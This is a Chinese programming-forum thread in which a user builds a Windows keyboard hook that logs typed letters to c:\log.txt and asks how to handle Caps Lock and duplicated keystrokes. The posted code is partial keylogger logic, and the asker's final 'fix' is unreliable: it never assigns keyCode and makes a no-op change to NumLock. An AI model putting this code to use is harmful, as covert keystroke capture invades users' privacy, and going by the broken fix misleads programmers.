我用KeyboardProc(int code,WPARAM wParam,LPARAM lParam)的wParam参数可以得到键盘码,但我查了MSDN后却发现该码表中只有与大写字母对应的十六进制值,而没有与小写字母和一些特殊字符相对应的值。如果我要记录小写字母该这么办?有人说将代码转换为ASCII码,可连对应于小写字母的码也没有,怎么转换啊?大家帮帮我。

解决方案 »

  1.   

    代码如下:
    if(code==HC_ACTION)
    {
       if(((DWORD)lParam&0xc000ffff)==1) //有键被按下
       {
          int iCapital=GetKeyState(0x14);
          if (iCapital==0x14)
          {   
    keyCode=(DWORD)wParam;
    if((keyCode>=0x41)&&(keyCode<=0x5A))//A-Z
             {
       fp=fopen("c:\\log.txt","a");
       fprintf(fp,"%c",keyCode);
       fclose(fp);
    }
           }
       if(iCapital!=0x14)
       {
           keyCode=(DWORD)wParam;
           if ((keyCode>=0x41)&&(keyCode<=0x5A))//a-z
           {
    keyCode=keyCode+0x20;
    fp=fopen("c:\\log.txt","a");
    fprintf(fp,"%c",keyCode);
    fclose(fp);
           }
        }
      }
    }
    现在的问题是所有的输入均变成了小写,我想通过锁定和不锁定“capslock"键来控制大小写,请问该怎么修改代码?另外每按一次键会在文件中重复记录2次字母,我知道这是DOWN和UP在作怪,请问这有什么办法吗?
      

  2.   

    代码如下:
    if(code==HC_ACTION)
    {
       if(((DWORD)lParam&0xc000ffff)==1) //有键被按下
       {
          int iCapital=GetKeyState(0x14);
          if (iCapital==0x14)
          {   
    keyCode=(DWORD)wParam;
    if((keyCode>=0x41)&&(keyCode<=0x5A))//A-Z
             {
       fp=fopen("c:\\log.txt","a");
       fprintf(fp,"%c",keyCode);
       fclose(fp);
    }
           }
       if(iCapital!=0x14)
       {
           keyCode=(DWORD)wParam;
           if ((keyCode>=0x41)&&(keyCode<=0x5A))//a-z
           {
    keyCode=keyCode+0x20;
    fp=fopen("c:\\log.txt","a");
    fprintf(fp,"%c",keyCode);
    fclose(fp);
           }
        }
      }
    }
    现在的问题是所有的输入均变成了小写,我想通过锁定和不锁定“capslock"键来控制大小写,请问该怎么修改代码?另外每按一次键会在文件中重复记录2次字母,我知道这是DOWN和UP在作怪,请问这有什么办法吗?
      

  3.   

    知道一个办法是在记录键值的同时记录SHIFT键的状态,然后根据这两个值,转译为大写或小写。
      

  4.   

    已自己解决。另外“每按一次键会在文件中重复记录2次字母”不是因为“DOWN和UP在作怪”,而是因为NumLock键开着。为方便后人下面把正确的代码贴出。DWORD_PTR keyCode;
    short iCapital=GetKeyState(0x14);
    short iNumLock=GetKeyState(0x90);
    if(iCapital==1)//如果CAPSLOCK键被按下
    {   
      if((keyCode>=0x41)&&(keyCode<=0x5A))//A-Z
      {
         Text[i]=keyCode;
         i++;
       }
    }
    if(iCapital==0)//如果CAPSLOCK键没被按下
    {
       if ((keyCode>=0x41)&&(keyCode<=0x5A))//a-z
       {
         iNumLock=0;//为了能正确获得a-i只得暂时关闭小键盘
         keyCode=keyCode+0x20;
         Text[i]=keyCode;
         i++;
       }
    }